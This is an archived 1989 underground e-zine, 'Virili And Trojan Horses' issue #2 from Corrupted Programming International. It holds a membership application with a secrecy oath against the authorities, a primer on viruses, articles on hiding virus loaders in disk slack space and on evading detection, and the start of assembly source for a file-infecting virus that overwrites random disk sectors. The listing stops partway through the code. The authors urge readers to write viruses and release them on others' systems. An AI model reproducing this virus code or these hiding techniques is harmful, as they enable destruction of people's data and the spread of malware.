home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / virus / Virili And Trojan Horses - A Protagonist's Point of View.txt < prev    next >
Encoding:
INI File  |  2001-07-11  |  94.4 KB  |  2,125 lines

  1. [2.1]     * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  2.         *                                                           *
  3.         *    @@@@@@@@@@@@@      @@@@@@@@@@@@@     @@@@@@@@@@@@@@@   *
  4.         *   @@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@   *
  5.         *   @@@@       @@@@    @@@@       @@@@          @@@         *
  6.         *   @@@                @@@        @@@@          @@@         *
  7.         *   @@@                @@@@@@@@@@@@@@@          @@@         *
  8.         *   @@@                @@@@@@@@@@@@@@           @@@         *
  9.         *   @@@                @@@                      @@@         *
  10.         *   @@@@       @@@@    @@@                      @@@         *
  11.         *   @@@@@@@@@@@@@@@    @@@                @@@@@@@@@@@@@@@   *
  12.         *    @@@@@@@@@@@@@     @@@                @@@@@@@@@@@@@@@   *
  13.         *                                                           *
  14.           * * * * * * * * * * * * * * * * * * * * * * * * * * * * *  
  15.  
  16.                               C O R R U P T E D 
  17.  
  18.                             P R O G R A M M I N G   
  19.  
  20.                           I N T E R N A T I O N A L
  21.  
  22.  
  23.  
  24.                                   presents:
  25.  
  26.  
  27.                     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  28.                     @                                     @
  29.                     @       Virili And Trojan Horses      @ 
  30.                     @                                     @ 
  31.                     @    A Protagonist's Point Of View    @ 
  32.                     @                                     @ 
  33.                     @              Issue #2               @ 
  34.                     @                                     @  
  35.                     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  DISCLAIMER::All of the information contained in this newsletter reflects the
  44.              thoughts and ideas of the authors, not their actions. The sole
  45.              purpose of this document is to educate and spread information.
  46.              Any illegal or illicit action is not endorsed by the authors or
  47.              CPI. The authors and CPI are not responsible for any information
  48.              which may present itself as old or mis-interpreted, and actions
  49.              by the reader. Remember, 'Just Say No!'
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62. CPI #2 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  63. Issue 2, Volume 1 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  64. Release Date::July 27,1989 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  65.  
  66.  
  67.  
  68.  
  69.  
  70.                             Introduction To CPI#2
  71.                             ---------------------
  72.     Well, here is the "long awaited" second issue of CPI, A Protagonist's Point
  73. of view. This issue should prove a bit interesting, I dunno, but at least
  74. entertaining for the time it takes to read. Enjoy the information and don't
  75. forget the disclaimer.
  76.     Oh yes, if you have some interesting articles or an application to send
  77. us, just see the BBS list at the end of this document. Thanx. All applications
  78. and information will be voted on through the CPI Inner Circle. Hope you enjoy
  79. this issue as much as we enjoyed typing it... hehe...
  80.     Until our next issue, (which may be whenever), good-bye.
  81.  
  82.                                                      Doctor Dissector
  83.  
  84.  
  85.                              Table of Contents  
  86.                              -----------------
  87.  Part Title                                                  Author
  88.  -----------------------------------------------------------------------------
  89.  2.1  Title Page, Introduction, & TOC....................... Doctor Dissector
  90.  2.2  Another Explanation Of Virili And Trojans............. Acid Phreak
  91.  2.3  V-IDEA-1.............................................. Ashton Darkside
  92.  2.4  V-IDEA-2.............................................. Ashton Darkside
  93.  2.5  The Generic Virus..................................... Doctor Dissector
  94.  2.6  Aids.................................................. Doctor Dissector
  95.  2.7  Batch File Virus...................................... PHUN 3.2
  96.  2.8  Basic Virus........................................... PHUN 3.2
  97.  2.9  The Alemeda Virus..................................... PHUN 4.3
  98.  2.10 Virili In The News.................................... Various Sources
  99.  2.11 Application For CPI................................... CPI Inner Circle
  100.       (CPI Node Phone #'s Are In 2.11)
  101. 
  102. Downloaded From P-80 International Information Systems 304-744-2253
  103.                    WEST COAST CORRUPTED ALLEGIANCE PRESENTS:
  104.  
  105.      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  106.  
  107.                    >> CORRUPTED PROGRAMMING INTERNATIONAL <<
  108.                           >> MEMBERSHIP APPLICATION <<
  109.  
  110.      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  111.                           (CPI is a sub-group of WCCA)
  112.  
  113. NOTE: The following information is of a totally confidential nature. We must
  114.       question you in depth and thouroughly so that our knowledge and idea
  115.       of you will be quite complete. Remember, it is the fate of our voting
  116.       members who will decide upon your membership, as the result of your
  117.       response to this questionarre. Please answer the following completely
  118.       and to the best of your ability. Also note that we may decide to voice
  119.       validate you or gather any other information through other sources and
  120.       will discover if you have placed false or misleading information on
  121.       this application.
  122.  
  123.  
  124. PERSONAL INFORMATION:
  125. -----------------------------------------------------------------------------
  126.      Alias(es) You HAVE Used :
  127.  Alias(es) You Currently Use :
  128.          Your FULL REAL Name :
  129.      Your Voice Phone Number :(###)###-####
  130.       Your Data Phone Number :(###)###-####
  131.         Your Mailing Address :
  132.       Your City, State & Zip :
  133.                     Your Age :
  134.             Occupation/Grade :
  135.   Place of Employment/School :
  136.            Work Phone Number :
  137.   Your Interests And Hobbies :
  138.  
  139. Are You IN ANY WAY Affiliated With ANY Governmental/Law Enforcement Agency?
  140. If So, In What Way? (Such as FBI/Sheriff/Police/etc. YOU KNOW WHAT I MEAN)
  141. :
  142. :
  143.  
  144. Are You IN ANY WAY Affiliated With The Telephone Company Or Any Type Of Phone,
  145. Data, Or Long Distance Type Of Company? If So, In What Way?
  146. :
  147.  
  148.  
  149. COMPUTER INFORMATION/EXPERIENCE
  150. -----------------------------------------------------------------------------
  151.   Computer Experience (time) :
  152.   Modeming Experience (time) :
  153.  BBS's You Frequent (Name/#) :
  154.        Some Elite References :
  155.      Computers You Have Used :
  156.    Computer(s) You Are Using :
  157.          Computer You Prefer :
  158.     Languages You Have Tried :
  159.      Languages You Know Well :
  160.           Your Best Language :
  161.       Have You Ever Phreaked :
  162.      Do You Phreak Regularly :
  163.         Have You Ever Hacked :
  164.        Do You Hack Regularly :
  165.        Have You Ever Cracked :
  166.       Do You Crack Regularly :
  167.     Ever Made A Virus/Trojan :
  168.        Major Accomplishments :
  169.                              :
  170.  
  171. INTERVIEW         
  172. -----------------------------------------------------------------------------
  173. Answer In 4 Lines Or Less:
  174.  
  175. What do you think Corrupted Programming International is?
  176. :
  177. :
  178. :
  179. :
  180.  
  181. When did you first hear about CPI?
  182. :
  183. :
  184. :
  185. :
  186.  
  187. Why do you want to be a member of CPI?
  188. :
  189. :
  190. :
  191. :
  192.  
  193. Do you know any of the members of CPI? Can you name any or the founders of CPI?
  194. :
  195. :
  196. :
  197. :
  198.  
  199. Have you considered the distribuition of Viruses/Trojans as a "crime"? Why
  200. or why not? Have you ever considered the consequences that could result
  201. from the acts of releasing a Virus/Trojan? (morally speaking?)
  202. :
  203. :
  204. :
  205. :
  206.  
  207. Have you written any text files? (On any underground type of subject)
  208. :
  209. :
  210. :
  211. :
  212.  
  213. Are you a member of any other group(s)? Can you name them and their HQ BBS?
  214. :
  215. :
  216. :
  217. :
  218.  
  219. What would you consider yourself if you were admitted into CPI, a programmer,
  220. a phreaker, a distributor, a information gatherer, or a vegetable?
  221. :
  222. :
  223. :
  224. :
  225.  
  226. Why would you ever want to release or aid in releasing a potential virus/trojan
  227. to the public?
  228. :
  229. :
  230. :
  231. :
  232.  
  233. Can you contribute to CPI? How?
  234. :(do you have access to info concerning virus/trojans)
  235. :(exceptional programmer?)
  236. :(got connections?)
  237. :(anything extraordinary?)
  238.  
  239.  
  240. OATH
  241. -----------------------------------------------------------------------------
  242. Typing your name at the bottom of the following paragraph is the same as
  243. signing your name on an official document.
  244.  
  245. authorities - As stated in the document below, the term authorities shall
  246.               be defined as any law enforcement agency or any agency that
  247.               is/may be affiliated with any law enforcement agency. Also,
  248.               this includes any company or agency or person which is/may
  249.               be involved with the telephone company or any telephone-type
  250.               of service(s).
  251.  
  252. I [your name here] do solemnly swear never to report neither to my peers nor
  253. the authorities the actions and duties performed by this group, Corrupted 
  254. Programming International, on any account. Also, I realize that if I leave 
  255. CPI and am no longer a member of CPI, it is my duty, as signed below, to uphold
  256. the greatest confidence of CPI's activities, and I agree that any information I
  257. may report to any one or any thing CANNOT be used against CPI and its members 
  258. in a court of law. I fully understand that if I were to become affiliated with 
  259. the authorities that it would be my duty to remove myself from any membership 
  260. if my position presented itself as contradictory towards the group, CPI and its
  261. members. I also comprehend that if I were to be confronted by the authorities,
  262. it my duty as a CPI member, as signed below, is to never disclose or discuss 
  263. CPI's activities to them; however, if I do, I fully agree that the information
  264. disclosed or discussed cannot then be used against CPI or any member(s) of CPI
  265. in a court of law. I further agree that all the terms and restrictions as noted
  266. above also correspond to the entire group of WCCA, West Coast Corrupted
  267. Allegiance.
  268.  
  269. Typed:____________________
  270.  
  271.  
  272. -----------------------------------------------------------------------------
  273.        .Answer Each Question To The Best And Fullest Of Your Ability.
  274. -----------------------------------------------------------------------------
  275.  
  276.              Upload ALL Applications To The WCCA Headquarters BBS
  277.  
  278.                   T H E    A N D R O M E D A    S T R A I N
  279.  
  280.                     * 619-566-7093 * 1200/2400 * 24 HRS *
  281.  
  282.                                                    
  283.   _______________________<==| CURRENT WCCA NODES |==>_________________________ 
  284.  /--------------+------------------------------------+-----------------+------\
  285.  | Phone Number | Node Name                          | Sysop           | Baud |
  286.  +--------------+------------------------------------+-----------------+------+
  287.  | 619-484-3508 | The Phrozen Phorest                | Ancient Mariner | 1200 |
  288.  \--------------+------------------------------------+-----------------+------/
  289.   
  290.  Future WCCA Support BBS's Will Be Active - Applications May Be Turned In Then
  291. 
  292. Downloaded From P-80 International Information Systems 304-744-2253
  293. [2.2]
  294.                   Explanation of Viruses and Trojans Horses
  295.                   -----------------------------------------
  296.                             Written by Acid Phreak
  297.  
  298.     Like it's biological counterpart, a computer virus is an agent of
  299. infection, insinuating itself into a program or disk and forcing its host
  300. to replicate the virus code.  Hackers fascinated by the concept of "living"
  301. code wrote the first viruses as projects or as pranks.  In the past few
  302. years, however, a different kind of virus has become common, one that lives
  303. up to an earlier meaning of the word:  in Latin, virus means poison.
  304.     These new viruses incorporate features of another type of insidious
  305. program called a Trojan horse.  Such a program masquerades as a useful
  306. utility or product but wreaks havoc on your system when you run it.  It may
  307. erase a few files, format your disk, steal secrets--anything software can
  308. do, a Trojan horse can do.  A malicious virus can do all this then attempt
  309. to replicate itself and infect other systems.
  310.     The growing media coverage of the virus conceptand of specific viruse
  311. has promoted the development of a new type of software.  Antivirus programs,
  312. vaccines--they go by many names, but their purpose is to protect from virus
  313. attack.  At present there are more antivirus programs than known viruses
  314. (not for long).
  315.     Some experts quibble about exactly what a virus is.  The most widely
  316. known viruses, the IBM Xmas virus and the recent Internet virus, are not
  317. viruses according to some experts because they do not infect other programs.
  318. Others argue that every Trojan horse is a virus--one that depends completely
  319. on people to spread it.
  320.  
  321. How They Reproduce:
  322. -------------------
  323.     Viruses can't travel without people.  Your PC will not become infected
  324. unless someone runs an infected program on it, whether accidentally or on
  325. purpose.  PC's are different from mainframe networks in this way--the
  326. mainframe Internet virus spread by transmitting itself to other systems and
  327. ordering them to execute it as a program.  That kind of active transmission
  328. is not possible on a PC.
  329.     Virus code reproduces by changing something in your system.  Some viruses
  330. strike COMMAND.COM or the hidden system files.  Others, like the notorious
  331. Pakistani-Brain virus, modify the boot sector of floppy disks.  Still others
  332. attach themselves to any .COM or .EXE file.  In truth, any file on your
  333. system that can be executed--whether it's a program, a device driver, an
  334. overlay, or even a batch file--could be the target of a virus.
  335.     When an infected program runs, the virus code usually executes first and
  336. then transfers control to the original program.  The virus may immediately
  337. infect other programs, or it may load itself into RAM and continue spreading.
  338. If the virus can infect a file that will be used on another system, it has
  339. succeeded.
  340.  
  341. What They Can Do:
  342. -----------------
  343.     Viruses go through two phases:  a replication phase and an action phase.
  344. The action doesn't happen until a certain even occurs--perhaps reaching a
  345. special date or running the virus a certain number of times.  It wouldn't
  346. make sense for a virus to damage your system the first time it ran; it needs
  347. some time to grow and spread first.
  348.     The most vulnerable spot for a virus attack is your hard disk's file
  349. allocation table (FAT).  This table tells DOS where every file's data resides
  350. on the disk.  Without the FAT, the data's still there but DOS can't find it.
  351. A virus could also preform a low-level format on some or all the tracks of
  352. your hard disk, erase all files, or change the CMOS memory on AT-class
  353. computers so that they don't recognize the hard disk.
  354.     Most of the dangers involve data only, but it's even possible to burn
  355. out a monochrome monitor with the right code.
  356.     Some virus assaults are quite subtl.  One known virus finds four
  357. consecutive digits on the screen and switches two.  Let's hope you're not
  358. balancing the company's books when this one hits.  Others slow down system
  359. operations or introduce serious errors.
  360. 
  361. Downloaded From P-80 International Information Systems 304-744-2253
  362. [2.3]
  363. -------------------------------------------------------------------------------
  364.             ______             ________            ___________
  365.            / ____ \           |  ____  \          |____   ____|
  366.           | /    \_|          | |    \  |              | |
  367.           | |                 | |_____| |              | |
  368.           | |                 |  ______/               | |
  369.           | |     _           | |                      | |
  370.           | \____/ |   /\     | |           /\     ____| |____      /\
  371.            \______/    \/     |_|           \/    |___________|     \/
  372.  
  373.  
  374.                     "We ain't the phucking Salvation Army."
  375.  
  376. -------------------------------------------------------------------------------
  377.  
  378.  
  379.      C O R R U P T E D   P R O G R A M M E R S   I N T E R N A T I O N A L
  380.  
  381.                             * * *   present   * * *
  382.  
  383.          "Ok, I've written the virus, now where the hell do I put it?"
  384.  
  385.                     By Ashton Darkside (DUNE / SATAN / CPI)
  386.  
  387.  
  388. *******************************************************************************
  389. DISCLAIMER: This text file is provided to the massed for INFORMATIONAL PURPOSES
  390.    ONLY! The author does NOT condone  the use of this information in any manner
  391.    that would be illegal or harmful. The fact that the author knows and spreads
  392.    this information in no way suggests that he uses it. The author also accepts
  393.    no responsibility  for the  malicious use of this  information by anyone who
  394.    reads it! Remember, we may talk alot, but we "just say no" to doing it.
  395. *******************************************************************************
  396.  
  397.         Ok,  wow!  You've just  invented  the most  incredibly nifty virus.  It
  398. slices, it dices, it squshes,  it mushes (sorry Berke Breathed)  people's data!
  399. But the only problem is, if you go around infecting every damn file,  some cute
  400. software company is going to  start putting in  procedures that  checksum their
  401. warez each time they run, which will make life for your infecting virus a total
  402. bitch. Or somebody's going to come up with an incredibly nifty vaccination util
  403. that will wipe it out. Because, i mean,  hey,  when disk space starts vanishing
  404. suddenly in 500K chunks people tend to notice.  Especially people  like me that
  405. rarely have more than 4096 bytes free on their HD anyway. Ok.  So you're saying
  406. "wow, so what, I can make mine fool-proof", etc, etc. But wait! There's no need
  407. to go around wasting your precious time when the answer is right there in front
  408. of you! Think about it,  you could be putting that time into writing better and
  409. more inovative viruses,  or you could be  worring about keeping  the file size,
  410. the date & time, and the attributes the same.  With this system,  you only need
  411. to infect one file, preferably one that's NOT a system file, but something that
  412. will get run alot, and will be able  to load your nifty virus on a daily basis.
  413. This system also doesn't take up any disk space, other than the loader. And the
  414. loader could conceivably be under  16 bytes (damn near undetectable).  First of
  415. all, you need to know what programs to infect. Now, everybody knows about using
  416. COMMAND.COM and that's unoriginal anyway,  when there are other programs people
  417. run all the time. Like DesqView  or Norton Utilities or  MASM or  a BBS file or
  418. WordPerfect; you get the idea. Better still are dos commands like Format,  Link
  419. or even compression utilities.  But you get the point. Besides,  who's going to
  420. miss 16 bytes, right? Now, the good part: where to put the damn thing. One note
  421. to the programmer:  This could get  tricky if  your virus  is over  2k or isn't
  422. written in Assembly, but the size problem is easy enough, it would  be a simple
  423. thing to break your virus  into parts and have  the parts load each  other into
  424. the system so that you do eventually get the whole thing. The only problem with
  425. using  languages besides assembly  is that it's  hard to  break them up into 2k
  426. segments. If you want to infect floppys, or smaller disks, you'd be best off to
  427. break your file into 512 byte segments, since they're easier to hide. But, hey,
  428. in assembly, you can generate pretty  small programs that do alot, tho.  Ok, by
  429. now you've probably figured  out that we're talking  about the part of the disk
  430. called 'the slack'. Every disk that your computer uses is divided up into parts
  431. called sectors, which are (in almost all cases) 512 bytes. But in larger disks,
  432. and even in floppies,  keeping track of every single sector would be a complete
  433. bitch. So the sectors  are bunched together  into groups  called 'clusters'. On
  434. floppy disks,  clusters are  usually  two sectors,  or 1024 bytes,  and on hard
  435. disks, they're typically 4096 bytes, or eight sectors.  Now think about it, you
  436. have  programs on  your  hard disk,  and what are  the odds that they will have
  437. sizes that always end up in increments of 4096? If I've  lost you,  think of it
  438. this way: the file takes up a  bunch of  clusters,  but in  the last cluster it
  439. uses, there is usually some 'slack', or space that isn't used by the file. This
  440. space is between where the actual file ends and  where the actual cluster ends.
  441. So, potentially, you can have up  to 4095 bytes of 'slack'  on a file on a hard
  442. disk, or 1023 bytes of 'slack' on a floppy.  In fact, right now, run the Norton
  443. program  'FS /S /T'  command from your root directory,  and subtract  the total
  444. size of the files from the total disk space used. That's how much 'slack' space
  445. is on your disk (a hell of alot, even on a floppy). To  use the slack,  all you
  446. need to do  is to  find a  chunk of slack  big enough to  fit your  virus (or a
  447. segment of your virus)  and use direct disk access (INT 13)  to put  your virus
  448. there.  There is one minor  problem with this.  Any disk write to that  cluster
  449. will overwrite the slack with 'garbage' from memory. This is because of the way
  450. DOS manages it's disk I/O and it can't  be fixed without alot of hassles.  But,
  451. there is a way around even this. And it involves a popular  (abeit outdated and
  452. usually ineffectual) form of  virus protection called the READ-ONLY flag.  This
  453. flag is the greatest friend  of this type of virus.  Because if the file is not
  454. written to,  the last cluster is not written to, and voila!  Your virus is safe
  455. from mischivious accidents.  And since the R-O flag doesn't  affect INT 13 disk
  456. I/O, it won't be in your way. Also, check for programs with the SYSTEM flag set
  457.  
  458. because that has the same Read-only effect (even tho I haven't seen it written,
  459. it's true that  if the  file is designated system,  DOS treats it as read-only,
  460. whether the R-O flag is set or not).  The space after IBMBIOS.COM or IBMDOS.COM
  461. in MS-DOS (not PC-DOS, it uses different files,  or so I am told; I've been too
  462. lazy to find out myself) or a protected (!) COMMAND.COM  file in either type of
  463. DOS would be ideal for this. All you have to do is then insert your loader into
  464. some innocent-looking file, and you are in business.  All your loader has to do
  465. is read  the sector into  the highest part of memory,  and do a far call to it.
  466. Your virus cann then go  about waiting  for floppy disks  to infect,  and place
  467. loaders on any available executable file on the disk. Sound pretty neet? It is!
  468. Anyway, have fun, and be sure to upload your virus, along with a README file on
  469. how it works to CPI  Headquarters so we  can check it out!  And remember: don't
  470. target P/H/P boards  (that's Phreak/Hack/Pirate boards) with ANY virus. Even if
  471. the Sysop is a leech and you want to  shove his balls down his throat.  Because
  472. if all the PHP boards go down (especially members of CPI), who the hell can you
  473. go to for all  these nifty  virus ideas?  And besides,  it's betraying your own
  474. people,  which  is uncool even  if you  are an anarchist.  So, target uncool PD
  475. boards, or your  boss's computer  or whatever,  but don't attack  your friends.
  476. Other than that, have phun, and phuck it up!
  477.  
  478.                         Ashton Darkside
  479.                         Dallas Underground Network Exchange       (DUNE)
  480.                         Software And Telecom Applicaitons Network (SATAN)
  481.                         Corrupted Programmers International       (CPI)
  482.  
  483.  
  484. PS: Watch it, this file (by itself) has about 3 1/2k of slack (on a hard disk).
  485.  
  486. Call these boards because the sysops are cool:
  487. Oblivion                (SATAN HQ)   Sysop: Agent Orange   (SATAN leader)
  488. System: Utopia          (SATAN HQ)   Sysop: Robbin' Hood   (SATAN leader)
  489. The Andromeda Strain    (CPI HQ)     Sysop: Acid Phreak    (CPI leader)
  490. D.U.N.E.                (DUNE HQ)    Sysop: Freddy Krueger (DUNE leader)
  491. The Jolly Bardsmen's Pub & Tavern
  492. The Sierra Crib
  493. The Phrozen Phorest
  494. Knight Shadow's Grotto
  495.  
  496. And if I forgot your board, sorry, but don't send me E-mail bitching about it!
  497. 
  498. Downloaded From P-80 International Information Systems 304-744-2253
  499. [2.4]
  500. -------------------------------------------------------------------------------
  501.             ______             ________            ___________
  502.            / ____ \           |  ____  \          |____   ____|
  503.           | /    \_|          | |    \  |              | |
  504.           | |                 | |_____| |              | |
  505.           | |                 |  ______/               | |
  506.           | |     _           | |                      | |
  507.           | \____/ |   /\     | |           /\     ____| |____      /\
  508.            \______/    \/     |_|           \/    |___________|     \/
  509.  
  510.  
  511.                     "We ain't the phucking Salvation Army."
  512.  
  513. -------------------------------------------------------------------------------
  514.  
  515.  
  516.      C O R R U P T E D   P R O G R A M M E R S   I N T E R N A T I O N A L
  517.  
  518.                             * * *   present   * * *
  519.  
  520.             CPI Virus Standards - Protect yourself and your friends
  521.  
  522.                     By Ashton Darkside (DUNE / SATAN / CPI)
  523.  
  524.  
  525. *******************************************************************************
  526. DISCLAIMER: This text file is provided to the masses for INFORMATIONAL PURPOSES
  527.    ONLY! The author does NOT condone  the use of this information in any manner
  528.    that would be illegal or harmful. The fact that the author knows and spreads
  529.    this information in no way suggests that he uses it. The author also accepts
  530.    no responsibility  for the  malicious use of this  information by anyone who
  531.    reads it! Remember, we may talk alot, but we "just say no" to doing it.
  532. *******************************************************************************
  533.  
  534.         One of the  main problems with viruses is that  once you set one loose,
  535. it is no longer under your control.  I propose to stop this by introducing some
  536. standards of  virus writing that will  enable them to  be deactivated  whenever
  537. they enter a 'friendly' (CPI) system.  In the long run,  even the author of the
  538. virus is not immune to being attacked. The following are what I have termed the
  539. CPI standards for writing viruses.  They will allow a virus to easily check any
  540. system they are  being run on  for a type of 'identity badge'.  If it is found,
  541. the virus will  not infect the  system it is being run on.  The other standards
  542. are mostly written around this.
  543.  
  544. CPI Standards for writing viruses -
  545.  
  546.         1 - The virus will have  an 'active  period' and an  'inactive period'.
  547.             The active periods will be no more than one year in length (to make
  548.             it more difficult to discover the virus). You may release different
  549.             versions of your virus  with different 'active periods'.  It is not
  550.             recommended that your  virus deactivate itself after the set active
  551.             period, as this would enable  people to deactivate viruses by using
  552.             their computer with the date set  to 2069 or something.  It is also
  553.             required  that  activation  periods  begin on January 1  and end on
  554.             December 31. This will coincide  with the changing  identity codes.
  555.  
  556.         2 - The virus will check for an  identity code by  executing Interrrupt
  557.             12h  with the  following register  settings:  AX - 4350, BX - 4920,
  558.             CX - AB46, DX - 554E.  If the system  is  friendly, then a  pointer
  559.             will be returned in CX:DX to an ASCIIZ (0-terminated) string  which
  560.             will have different contents in different years.  The codes are not
  561.             to be included in any text file,  and should only  be given through
  562.             E-mail on CPI affiliated systems.  You can always ask me by sending
  563.             me  mail at  The Andromeda Strain BBS.  If a system  is detected as
  564.             friendly, the virus will not attempt to infect or damage it, but it
  565.             is ok  to display a  little  greeting message  about  how lucky the
  566.             user was.
  567.  
  568.         3 - We very much encourage you to upload your virus, along with a breif
  569.             description on the  workings into the  CPI section at The Andromeda
  570.             Strain BBS.  Only CPI members  will know about your virus.  This is
  571.             so that CPI members  can share techniques and  it also allows us to
  572.             verify that  the identity check works.  If we see  any improvements
  573.             that could be made, such as ways to streamline code, better ways of
  574.             spreading, etc. we will inform you so that you can make the changes
  575.             if you wish.
  576.  
  577.         4 - It is also suggested that you use ADS standard for virus storage on
  578.             infected disks.  This meathod uses disk slack space for storage and
  579.             is more thoroughly described in a previous text file by me. I think
  580.             that this is the most effective  and invisible way to store viruli.
  581.  
  582.         5 - A list of CPI-Standard  viruli will be  avaliable at all times from
  583.             The Andromeda Strain BBS, to CPI users.  Identity strings will also
  584.             be available to anyone in CPI, or anyone who uploads source code to
  585.             a virus which is 100%  complete except for  the Identity string (it
  586.             must be written to CPI-Standards). Non-CPI members who do this will
  587.             be more seriously considered for membership in CPI.
  588.  
  589.                               Ashton Darkside
  590.                               Dallas Underground Network Exchange       (DUNE)
  591.                               Software And Telecom Applications Network (SATAN)
  592.                               Corrupted Programmers International       (CPI)
  593.  
  594. PS: This file (by itself) has approx 2.5k of slack.
  595. 
  596. Downloaded From P-80 International Information Systems 304-744-2253
  597. ;[2.5]
  598. ;=============================================================================
  599. ;
  600. ;                                    C*P*I
  601. ;
  602. ;                     CORRUPTED PROGRAMMING INTERNATIONAL
  603. ;                     -----------------------------------
  604. ;                               p r e s e n t s
  605. ;
  606. ;                                    T H E
  607. ;                              _                 _
  608. ;                             (g) GENERIC VIRUS (g)
  609. ;                              ^                 ^
  610. ;
  611. ;
  612. ; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
  613. ;   CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
  614. ; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR "PROGRAM TO BIG TO
  615. ;    FIT IN MEMORY" THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
  616. ;
  617. ; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
  618. ;                     THE DISK. HAVE PHUN WITH THIS ONE.
  619. ;
  620. ;  ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
  621. ;  IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
  622. ;
  623. ;  THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
  624. ;   HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
  625. ;  THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
  626. ;             ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
  627. ;
  628. ;                                                        DOCTOR DISSECTOR
  629. ;                                                        CPI INNER CIRCLE
  630. ;
  631. ;=============================================================================
  632.  
  633. MAIN:
  634.       NOP                       ;| Marker bytes that identify this program
  635.       NOP                       ;| as infected/a virus
  636.       NOP                       ;|
  637.  
  638.       MOV AX,00                 ;| Initialize the pointers
  639.       MOV ES:[POINTER],AX       ;|
  640.       MOV ES:[COUNTER],AX       ;|
  641.       MOV ES:[DISKS B],AL       ;|
  642.  
  643.       MOV AH,19                 ;| Get the selected drive (dir?)
  644.       INT 21                    ;|
  645.  
  646.       MOV CS:DRIVE,AL           ;| Get current path (save drive)
  647.       MOV AH,47                 ;| (dir?)
  648.       MOV DH,0                  ;|
  649.       ADD AL,1                  ;|
  650.       MOV DL,AL                 ;| (in actual drive)
  651.       LEA SI,CS:OLD_PATH        ;|
  652.       INT 21                    ;|
  653.  
  654.       MOV AH,0E                 ;| Find # of drives 
  655.       MOV DL,0                  ;|
  656.       INT 21                    ;|
  657.       CMP AL,01                 ;| (Check if only one drive)
  658.       JNZ HUPS3                 ;| (If not one drive, go the HUPS3)
  659.       MOV AL,06                 ;| Set pointer to SEARCH_ORDER +6 (one drive)
  660.  
  661.       HUPS3: MOV AH,0           ;| Execute this if there is more than 1 drive
  662.       LEA BX,SEARCH_ORDER       ;|
  663.       ADD BX,AX                 ;|
  664.       ADD BX,0001               ;|
  665.       MOV CS:POINTER,BX         ;|
  666.       CLC                       ;|
  667.  
  668. CHANGE_DISK:                    ;| Carry is set if no more .COM files are
  669.       JNC NO_NAME_CHANGE        ;| found. From here, .EXE files will be
  670.       MOV AH,17                 ;| renamed to .COM (change .EXE to .COM)
  671.       LEA DX,CS:MASKE_EXE       ;| but will cause the error message "Program  
  672.       INT 21                    ;| to large to fit in memory" when starting
  673.       CMP AL,0FF                ;| larger infected programs
  674.       JNZ NO_NAME_CHANGE        ;| (Check if an .EXE is found)
  675.  
  676.       MOV AH,2CH                ;| If neither .COM or .EXE files can be found,
  677.       INT 21                    ;| then random sectors on the disk will be
  678.       MOV BX,CS:POINTER         ;| overwritten depending on the system time
  679.       MOV AL,CS:[BX]            ;| in milliseconds. This is the time of the
  680.       MOV BX,DX                 ;| complete "infection" of a storage medium.
  681.       MOV CX,2                  ;| The virus can find nothing more to infect
  682.       MOV DH,0                  ;| starts its destruction.
  683.       INT 26                    ;| (write crap on disk)
  684.  
  685. NO_NAME_CHANGE:                 ;| Check if the end of the search order table
  686.       MOV BX,CS:POINTER         ;| has been reached. If so, end.
  687.       DEC BX                    ;|
  688.       MOV CS:POINTER,BX         ;|
  689.       MOV DL,CS:[BX]            ;|
  690.       CMP DL,0FF                ;|
  691.       JNZ HUPS2                 ;|
  692.       JMP HOPS                  ;|
  693.       
  694. HUPS2:                          ;| Get a new drive from the search order table
  695.       MOV AH,0E                 ;| and select it, beginning with the ROOT dir.
  696.       INT 21                    ;| (change drive)
  697.       MOV AH,3B                 ;| (change path)
  698.       LEA DX,PATH               ;|
  699.       INT 21                    ;|
  700.       JMP FIND_FIRST_FILE       ;|
  701.  
  702. FIND_FIRST_SUBDIR:              ;| Starting from the root, search for the
  703.       MOV AH,17                 ;| first subdir. First, (change .exe to .com)
  704.       LEA DX,CS:MASKE_EXE       ;| convert all .EXE files to .COM in the
  705.       INT 21                    ;| old directory.
  706.       MOV AH,3B                 ;| (use root directory)
  707.       LEA DX,PATH               ;|
  708.       INT 21                    ;|
  709.       MOV AH,04E                ;| (search for first subdirectory)
  710.       MOV CX,00010001B          ;| (dir mask)
  711.       LEA DX,MASKE_DIR          ;|
  712.       INT 21                    ;|
  713.       JC CHANGE_DISK            ;|
  714.       MOV BX,CS:COUNTER         ;|
  715.       INC BX                    ;|
  716.       DEC BX                    ;|
